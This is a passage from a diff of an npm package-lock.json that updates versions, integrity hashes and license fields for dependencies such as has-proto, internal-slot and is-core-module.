       }
     },
     "node_modules/has-property-descriptors": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz",
-      "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.1.1"
+        "es-define-property": "^1.0.0"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/has-proto": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz",
-      "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==",
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",
+      "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",
       "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.0"
+      },
       "engines": {
         "node": ">= 0.4"
       },
@@ -3951,15 +4311,17 @@
       "resolved": "https://registry.npmjs.org/has-require/-/has-require-1.2.2.tgz",
       "integrity": "sha512-JHMVoV2TG3LEFw/8UjxXJzCRGdOHJzzAXft7BafERh2rdPYZcS5N6Twv7Q8yLy9mciKsVBkXmpWSuLp5GUXNng==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^1.0.3"
       }
     },
     "node_modules/has-symbols": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
-      "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+      "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -3968,12 +4330,13 @@
       }
     },
     "node_modules/has-tostringtag": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
-      "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",
+      "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "has-symbols": "^1.0.2"
+        "has-symbols": "^1.0.3"
       },
       "engines": {
         "node": ">= 0.4"
@@ -3987,6 +4350,7 @@
       "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
       "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "get-value": "^2.0.6",
         "has-values": "^1.0.0",
@@ -4001,6 +4365,7 @@
       "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
       "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-number": "^3.0.0",
         "kind-of": "^4.0.0"
@@ -4014,6 +4379,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
       "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-buffer": "^1.1.5"
       },
@@ -4022,31 +4388,17 @@
       }
     },
     "node_modules/hash-base": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.0.tgz",
-      "integrity": "sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==",
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz",
+      "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.4",
-        "readable-stream": "^3.6.0",
-        "safe-buffer": "^5.2.0"
+        "safe-buffer": "^5.2.1"
       },
       "engines": {
-        "node": ">=4"
-      }
-    },
-    "node_modules/hash-base/node_modules/readable-stream": {
-      "version": "3.6.2",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
-      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
-      "dev": true,
-      "dependencies": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
-      },
-      "engines": {
-        "node": ">= 6"
+        "node": ">= 0.10"
       }
     },
     "node_modules/hash.js": {
@@ -4054,16 +4406,30 @@
       "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz",
       "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.3",
         "minimalistic-assert": "^1.0.1"
       }
     },
+    "node_modules/hasown": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "license": "MIT",
+      "dependencies": {
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/hmac-drbg": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz",
       "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "hash.js": "^1.0.3",
         "minimalistic-assert": "^1.0.0",
@@ -4073,13 +4439,15 @@
     "node_modules/hosted-git-info": {
       "version": "2.8.9",
       "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
-      "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw=="
+      "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
+      "license": "ISC"
     },
     "node_modules/html-encoding-sniffer": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz",
       "integrity": "sha512-71lZziiDnsuabfdYiUeWdCVyKuqwWi23L8YeIgV9jSSZHCtb6wB1BKWooH7L3tn4/FuZJMVWyNaIDr4RGmaSYw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "whatwg-encoding": "^1.0.1"
       }
@@ -4088,13 +4456,15 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
       "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/htmlescape": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/htmlescape/-/htmlescape-1.1.1.tgz",
       "integrity": "sha512-eVcrzgbR4tim7c7soKQKtxa/kQM4TzjnlU83rcZ9bHU6t31ehfV7SktN6McWgwPWg+JYMA/O3qpGxBvFq1z2Jg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10"
       }
@@ -4104,6 +4474,7 @@
       "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
       "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0",
         "jsprim": "^1.2.2",
@@ -4118,13 +4489,15 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz",
       "integrity": "sha512-J+FkSdyD+0mA0N+81tMotaRMfSL9SGi+xpD3T6YApKsc3bGSXJlfXri3VyFOeYkfLRQisDk1W+jIFFKBeUBbBg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/iconv-lite": {
       "version": "0.4.24",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
       "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": ">= 2.1.2 < 3"
       },
@@ -4150,22 +4523,25 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "BSD-3-Clause"
     },
     "node_modules/ignore": {
       "version": "4.0.6",
       "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz",
       "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 4"
       }
     },
     "node_modules/import-fresh": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
-      "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",
+      "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "parent-module": "^1.0.0",
         "resolve-from": "^4.0.0"
@@ -4182,6 +4558,7 @@
       "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz",
       "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "pkg-dir": "^3.0.0",
         "resolve-cwd": "^2.0.0"
@@ -4198,6 +4575,7 @@
       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
       "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.19"
       }
@@ -4206,7 +4584,9 @@
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "once": "^1.3.0",
         "wrappy": "1"
@@ -4216,13 +4596,15 @@
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
       "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/inline-source-map": {
-      "version": "0.6.2",
-      "resolved": "https://registry.npmjs.org/inline-source-map/-/inline-source-map-0.6.2.tgz",
-      "integrity": "sha512-0mVWSSbNDvedDWIN4wxLsdPM4a7cIPcpyMxj3QZ406QRwQ6ePGB1YIHxVPjqpcUGbWQ5C+nHTwGNWAGvt7ggVA==",
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/inline-source-map/-/inline-source-map-0.6.3.tgz",
+      "integrity": "sha512-1aVsPEsJWMJq/pdMU61CDlm1URcW702MTB4w9/zUjMus6H/Py8o7g68Pr9D4I6QluWGt/KdmswuRhaA05xVR1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "source-map": "~0.5.3"
       }
@@ -4232,6 +4614,7 @@
       "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.2.tgz",
       "integrity": "sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-escapes": "^3.2.0",
         "chalk": "^2.4.2",
@@ -4256,6 +4639,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
       "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^4.1.0"
       },
@@ -4268,6 +4652,7 @@
       "resolved": "https://registry.npmjs.org/insert-module-globals/-/insert-module-globals-7.2.1.tgz",
       "integrity": "sha512-ufS5Qq9RZN+Bu899eA9QCAYThY+gGW7oRkmb0vC93Vlyu/CFGcH0OYPEjVkDXA5FEbTt1+VWzdoOD3Ny9N+8tg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "acorn-node": "^1.5.2",
         "combine-source-map": "^0.8.0",
@@ -4285,14 +4670,15 @@
       }
     },
     "node_modules/internal-slot": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.5.tgz",
-      "integrity": "sha512-Y+R5hJrzs52QCG2laLn4udYVnxsfny9CpOhNhUvk/SSSVyF6T27FzRbF0sroPidSu3X8oEAkOn2K804mjpt6UQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",
+      "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "get-intrinsic": "^1.2.0",
-        "has": "^1.0.3",
-        "side-channel": "^1.0.4"
+        "es-errors": "^1.3.0",
+        "hasown": "^2.0.2",
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4303,6 +4689,7 @@
       "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
       "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "loose-envify": "^1.0.0"
       }
@@ -4311,31 +4698,37 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
       "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/is-accessor-descriptor": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-      "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.1.tgz",
+      "integrity": "sha512-YBUanLI8Yoihw923YeFUS5fs0fF2f5TSFTNiYAAzhhDscDa3lEqYuz1pDOEP5KvX94I9ey3vsqjJcLVFVU+3QA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "kind-of": "^6.0.0"
+        "hasown": "^2.0.0"
       },
       "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.10"
       }
     },
     "node_modules/is-array-buffer": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz",
-      "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==",
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz",
+      "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.0",
-        "is-typed-array": "^1.1.10"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "get-intrinsic": "^1.2.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -4344,28 +4737,54 @@
     "node_modules/is-arrayish": {
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
-      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="
+      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==",
+      "license": "MIT"
+    },
+    "node_modules/is-async-function": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz",
+      "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "async-function": "^1.0.0",
+        "call-bound": "^1.0.3",
+        "get-proto": "^1.0.1",
+        "has-tostringtag": "^1.0.2",
+        "safe-regex-test": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
     },
     "node_modules/is-bigint": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
-      "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
+      "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "has-bigints": "^1.0.1"
+        "has-bigints": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-boolean-object": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
-      "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz",
+      "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.3",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4378,13 +4797,15 @@
       "version": "1.1.6",
       "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
       "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/is-callable": {
       "version": "1.2.7",
       "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
       "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -4397,6 +4818,7 @@
       "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
       "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ci-info": "^2.0.0"
       },
@@ -4405,35 +4827,60 @@
       }
     },
     "node_modules/is-core-module": {
-      "version": "2.13.0",
-      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz",
-      "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==",
+      "version": "2.16.1",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
+      "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
+      "license": "MIT",
       "dependencies": {
-        "has": "^1.0.3"
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-data-descriptor": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-      "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.1.tgz",
+      "integrity": "sha512-bc4NlCDiCr28U4aEsQ3Qs2491gVq4V8G7MQyws968ImqjKuYtTJXrl7Vq7jsN7Ly/C3xj5KWFrY7sHNeDkAzXw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "kind-of": "^6.0.0"
+        "hasown": "^2.0.0"
       },
       "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/is-data-view": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
+      "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "get-intrinsic": "^1.2.6",
+        "is-typed-array": "^1.1.13"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/is-date-object": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
-      "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
+      "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "has-tostringtag": "^1.0.0"
+        "call-bound": "^1.0.2",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -4446,20 +4893,21 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-defined/-/is-defined-1.0.0.tgz",
       "integrity": "sha512-/drGiPCBGsJDhtnLkdcNl8QtEo9ddV10m0Y7wzkopIQM4u91wXhe84pZSH6RLukO2uJDtQoaAr1XoP0ilwsYzg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/is-descriptor": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-      "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.3.tgz",
+      "integrity": "sha512-JCNNGbwWZEVaSPtS45mdtrneRWJFp07LLmykxeFV5F6oBvNF8vHSfJuJgoT472pSfk+Mf8VnlrspaFBHWM8JAw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-accessor-descriptor": "^1.0.0",
-        "is-data-descriptor": "^1.0.0",
-        "kind-of": "^6.0.2"
+        "is-accessor-descriptor": "^1.0.1",
+        "is-data-descriptor": "^1.0.1"
       },
       "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
       }
     },
     "node_modules/is-extendable": {
@@ -4467,6 +4915,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
       "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-plain-object": "^2.0.4"
       },
@@ -4474,11 +4923,28 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/is-finalizationregistry": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz",
